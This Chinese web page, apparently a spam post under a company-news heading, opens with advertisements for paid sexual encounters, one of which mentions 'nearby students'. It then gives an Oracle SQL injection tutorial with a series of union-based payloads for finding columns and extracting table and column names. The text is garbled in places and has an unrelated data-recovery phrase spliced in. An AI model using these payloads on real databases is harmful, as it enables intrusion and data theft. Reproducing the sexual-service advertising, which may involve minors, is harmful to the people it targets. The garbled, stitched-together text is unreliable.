200块钱3小时上门二维码-400元3小时快餐,约附近学生50一次,51品茶快约

公司新闻

Oracle数据库报错注入,零基础的你也能看懂疫情期间在家好好学习

作者:admin 日期:2023-10-15 浏览:

Oracle数据库报错注入,零基础的你也能看懂疫情期间在家好好学习

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品??梢运礝racle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。

和MySQL注入一样:利用order by 猜解字段数联合查询: 这里和MySQL不太一样找到输出点:这里要注意字符类型利用系统自带库查询表名字段名

一、注入函数解析:select *from all_tables :查询出所有的表select *from user_tables :查询当前的用户表(就是当前数据库下的所有表)select *from all_tab_columns :查询所有的字段名select *from user_tab_columns :查询当前用户的字段名(就是当前库下的字段名)

二、细节

我们知道让MySQL显示 指定行输出用limit 但是在Oracle数据库中,用的rownum :

例如:select *from user_tables where rownum=1 。但是要注意的是,让它显示两行不是rownum=2。而要用rownum<3 。宿迁数据恢复可以用'<>' 过滤掉第一行,‘<>’就是不等于的意思。

例如:select *from user_tables where rownum<3 and table_name<>'user'

三、dual

还有就是dual,它是一个实表,也可以叫虚表。那他有什么用呢?

在MySQL中可以直接select 1,2,3 .但是Oracle中不能这样写,那还要输出123怎么办呢,可以使用dual来满足语法。

例如: select 1,2,3 from dual

经过尝试发现要用单引号闭合。得到子段数是3.确定字符类型

’ union all select null,null,null from dual --+

’ union all select 1,null,null from dual --+

显示正确

’ union all select 1,1,null from dual --+

显示错误。

’ union all select 1,U‘das’,null from dual --+

显示正确。:这里使用U是强行转成后面的类型

’ union all select 1,U‘das’,U‘dsfa’ from dual --+

显示错误。:这里可能是二进制类型,可以用转码函数进行转码。

’ union all select 1,U‘das’,to_nclob('dsa') from dual --+

显示正确,得到了相应的字符类型,并且找到了输出点,那下面就查找相应的表名,字段名。

可以看到我们需要的字段名是table_name

' union all select 1,null,to_nclob(table_name) from user_tables --+

但输出点只能显示一条数据的时候,要用rownum来限制输出数

找到表名后,查找字段名

可以看到,限制条件是table_name,查找到column_name

'union all select 1,null,to_nclob(column_name) from user_tab_columns where table_name=xxx

在Oracle数据库库中要注意几个系统自带表:

all_tablesuser_tablesall_tab_columnsuser_tab_columns

Oracle数据库用表dual 来满足数据格式,要注意字符的类型。

U‘df’ 强行转换;to_nclob() 二进制转换

rownum 限制输出行数。

  电话咨询